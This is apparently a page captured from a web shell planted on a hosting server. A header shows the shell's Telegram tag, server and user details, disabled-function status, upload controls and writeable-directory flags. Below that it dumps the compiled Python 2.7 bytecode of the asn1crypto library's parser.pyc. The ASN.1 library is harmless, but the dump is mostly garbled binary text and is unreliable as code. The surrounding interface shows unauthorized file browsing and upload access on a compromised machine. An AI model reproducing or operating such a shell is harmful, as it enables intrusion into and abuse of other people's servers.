https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.7/site-packages/asn1crypto/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.7/site-packages/asn1crypto/parser.pyc
�
y�\c@`s�dZddlmZmZmZmZddlZddlmZm	Z	m
Z
ddlmZm
Z
ejdkZdZd	�Zed
�Zd�Zded�Zd
�ZdS(u�
Functions for parsing and dumping using the ASN.1 DER encoding. Exports the
following items:

 - emit()
 - parse()
 - peek()

Other type classes are defined that help compose the types listed above.
i(tunicode_literalstdivisiontabsolute_importtprint_functionNi(tbyte_clstchr_clst	type_name(tint_from_bytestint_to_bytesiu<Insufficient data - %s bytes requested but only %s availablecC`s,t|t�s(tdt|���n|dks@|dkrStd|��nt|t�s{tdt|���n|dks�|dkr�td|��nt|t�s�tdt|���n|dkr�td	|��nt|t�std
t|���nt||||�|S(u�
    Constructs a byte string of an ASN.1 DER-encoded value

    This is typically not useful. Instead, use one of the standard classes from
    asn1crypto.core, or construct a new class with specific fields, and call the
    .dump() method.

    :param class_:
        An integer ASN.1 class value: 0 (universal), 1 (application),
        2 (context), 3 (private)

    :param method:
        An integer ASN.1 method value: 0 (primitive), 1 (constructed)

    :param tag:
        An integer ASN.1 tag value

    :param contents:
        A byte string of the encoded byte contents

    :return:
        A byte string of the ASN.1 DER value (header and contents)
    u!class_ must be an integer, not %siiu*class_ must be one of 0, 1, 2 or 3, not %su!method must be an integer, not %siumethod must be 0 or 1, not %sutag must be an integer, not %su%tag must be greater than zero, not %su&contents must be a byte string, not %s(t
isinstancetintt	TypeErrorRt
ValueErrorRt_dump_header(tclass_tmethodttagtcontents((s7/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/parser.pytemitscC`svt|t�s(tdt|���nt|�}t||�\}}|rr||krrtd||��n|S(ul
    Parses a byte string of ASN.1 BER/DER-encoded data.

    This is typically not useful. Instead, use one of the standard classes from
    asn1crypto.core, or construct a new class with specific fields, and call the
    .load() class method.

    :param contents:
        A byte string of BER/DER-encoded data

    :param strict:
        A boolean indicating if trailing data should be forbidden - if so, a
        ValueError will be raised when trailing data exists

    :raises:
        ValueError - when the contents do not contain an ASN.1 header or are truncated in some way
        TypeError - when contents is not a byte string

    :return:
        A 6-element tuple:
         - 0: integer class (0 to 3)
         - 1: integer method
         - 2: integer tag
         - 3: byte string header
         - 4: byte string content
         - 5: byte string trailer
    u&contents must be a byte string, not %su4Extra data - %d bytes of trailing data were provided(R	RRRtlent_parseR(Rtstricttcontents_lentinfotconsumed((s7/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/parser.pytparseJscC`sGt|t�s(tdt|���nt|t|��\}}|S(uW
    Parses a byte string of ASN.1 BER/DER-encoded data to find the length

    This is typically used to look into an encoded value to see how long the
    next chunk of ASN.1-encoded data is. Primarily it is useful when a
    value is a concatenation of multiple values.

    :param contents:
        A byte string of BER/DER-encoded data

    :raises:
        ValueError - when the contents do not contain an ASN.1 header or are truncated in some way
        TypeError - when contents is not a byte string

    :return:
        An integer with the number of bytes occupied by the ASN.1 value
    u&contents must be a byte string, not %s(R	RRRRR(RRR((s7/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/parser.pytpeekqscC`s�||dkr-ttd||f��n|}trIt||�n||}|d7}|d@}|dkr�d}xctr�tr�t||�n||}|d7}|d9}||d@7}|d?dkr|Pq|q|Wntr�t||�n||}|d7}|d?dkrB|r1|||d@fS||d@}	n4|d@}
|
r�||
7}|t|||
|!dt�}	|rv||	fSn�|}	|d	kr�|	d7}	nxU|	|krt|||	d
t�\}}	|	|kr�||	d|	!dkr�Pq�q�W|r||	fS|	|kr<tt|	|f��n|d?|d
?d@||||!|||	d!df|	fS|	|kr�tt|	|f��n|d?|d
?d@||||!|||	!df|	fS(u�
    Parses a byte string into component parts

    :param encoded_data:
        A byte string that contains BER-encoded data

    :param data_len:
        The integer length of the encoded data

    :param pointer:
        The index in the byte string to parse from

    :param lengths_only:
        A boolean to cause the call to return a 2-element tuple of the integer
        number of bytes in the header and the integer number of bytes in the
        contents. Internal use only.

    :return:
        A 2-element tuple:
         - 0: A tuple of (class_, method, tag, header, content, trailer)
         - 1: An integer indicating how many bytes were consumed
    iiiii�iitsigneditlengths_onlytiit(Rt_INSUFFICIENT_DATA_MESSAGEt_PY2tordtTrueRtFalseR(tencoded_datatdata_lentpointerRtstarttfirst_octetRtnumtlength_octettcontents_endt
length_octetstsub_header_end((s7/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/parser.pyR�sl 

	 

 


!

#



c	C`sd}d}||d>O}||d>O}|dkr�|t|dB�7}xa|dkr�|dkridnd}|t||d@B�7}|d?}qKWn|t||B�7}t|�}|dkr�|t|�7}n0t|�}|tdt|�B�7}||7}|S(	u�
    Constructs the header bytes for an ASN.1 object

    :param class_:
        An integer ASN.1 class value: 0 (universal), 1 (application),
        2 (context), 3 (private)

    :param method:
        An integer ASN.1 method value: 0 (primitive), 1 (constructed)

    :param tag:
        An integer ASN.1 tag value

    :param contents:
        A byte string of the encoded byte contents

    :return:
        A byte string of the ASN.1 DER header
    Riiiiii�i(RRR(	RRRRtheadertid_numtcontinuation_bittlengthtlength_bytes((s7/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/parser.pyR
�s$
(i(t__doc__t
__future__RRRRtsyst_typesRRRtutilRRtversion_infoR RRR#RRRR
(((s7/tmp/pip-install-A1qMVe/asn1crypto/asn1crypto/parser.pyt<module>s"	1'	j

https://t.me/AnonymousX5 - 2025